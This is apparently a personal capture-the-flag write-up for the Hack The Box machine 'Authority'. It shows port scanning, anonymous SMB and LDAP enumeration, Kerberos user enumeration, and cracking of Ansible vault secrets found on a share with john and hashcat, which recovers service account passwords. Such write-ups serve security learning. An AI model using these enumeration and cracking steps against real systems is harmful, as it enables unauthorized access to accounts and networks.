Authority

nmap

```
# Nmap 7.94 scan initiated Sat Jul 15 15:23:21 2023 as: nmap -sC -sV -oN nmap_init.nmap 10.10.11.222
Nmap scan report for 10.10.11.222
Host is up (0.086s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-15 23:23:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-15T23:24:31+00:00; +3h59m53s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-15T23:24:31+00:00; +3h59m53s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-15T23:24:31+00:00; +3h59m53s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-15T23:24:31+00:00; +3h59m53s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
8443/tcp open  ssl/https-alt
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-13T23:01:33
|_Not valid after:  2025-07-15T10:39:57
| fingerprint-strings:
|   FourOhFourRequest:
```

findings

port 8443 using https leads to a login page for password self service?
pwm?

From certificate:
- Common Name: 172.16.2.118

Notice - Configuration Mode

PWM is currently in **configuration** mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode.

After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first.

OK

Trying to login with random creds:

Error 5017

Directory unavailable. If this error occurs repeatedly please contact your help desk.

5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: ["error connecting as proxy user: unable to create connection: unable to connect to any configured ldap url, last error: unable to bind to ldaps://authority.authority.htb:636 as CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb reason: CommunicationException (authority.authority.htb:636; PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target)"])

OK

-> possible usernames: svc_ldap, authority
-> verified via kerbrute.

Valid users:
- svc_ldap
- authority
- administrator

```
└─$ smbclient -U "" -L \\\\10.10.11.222
Password for [WORKGROUP\]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Department Shares Disk
        Development     Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.222 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Using the following, we can access some files in the share
smbclient -U "" -N \\\\10.10.11.222\\Development

Interesting:

creds:
administrator:Welcome1 (ansible)
root:password (pwm default)
hoshimiya.ichigo:sunrise (ldap example)

```
└─$ ldapsearch -x -H ldap://10.10.11.222 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=authority,DC=htb
namingcontexts: CN=Configuration,DC=authority,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=authority,DC=htb
namingcontexts: DC=DomainDnsZones,DC=authority,DC=htb
namingcontexts: DC=ForestDnsZones,DC=authority,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

Ansible secrets:

File from the SMB share:

```
┌──(bokki㉿kali)-[~/…/Automation/Ansible/PWM/defaults]
└─$ cat main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          61343536636634623732656338323566633562393830396 40a3464313734316664333434343661 39
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a65303431373332663932343362613034383466353832643963623230653 1
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          33356162633264646338323762613061313033376539643 50a3636636231323531363466313966 62
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          39303566373064613 50a3164666630373030376537613235653433386539346465336633653630 35
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          34373330353662356134373737333166353135303266393 30a6430346235306234396161363635 63
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          32383432303336333 50a6466643965656330373334316261633065313363363266653164306135 66
          3764
```

Looks like some encrypted secrets.

By using ansible2john with one of the encrypted secrets, we can crack the master password/key used to decrypt the secrets
-> john command: john john.hash --wordlist=/usr/share/wordlists/rockyou.txt
-> hashcat command: hashcat -m 16900 -O -a 0 -w 4 hashcat.hash /usr/share/wordlists/rockyou.txt

-> master key: !@#$%^&*

Using this master key, we are able to make ansible show us the 3 secrets using:
ansible-vault view --vault-password-file <file with master key> <file with hash>

pwm_admin_login: svc_pwm
pwm_admin_password: DevT3st@123
ldap_admin_password: DevT3st@123

Trying the password for all valid users on the box fails. svc_pwm is not a valid user according to Kerberos.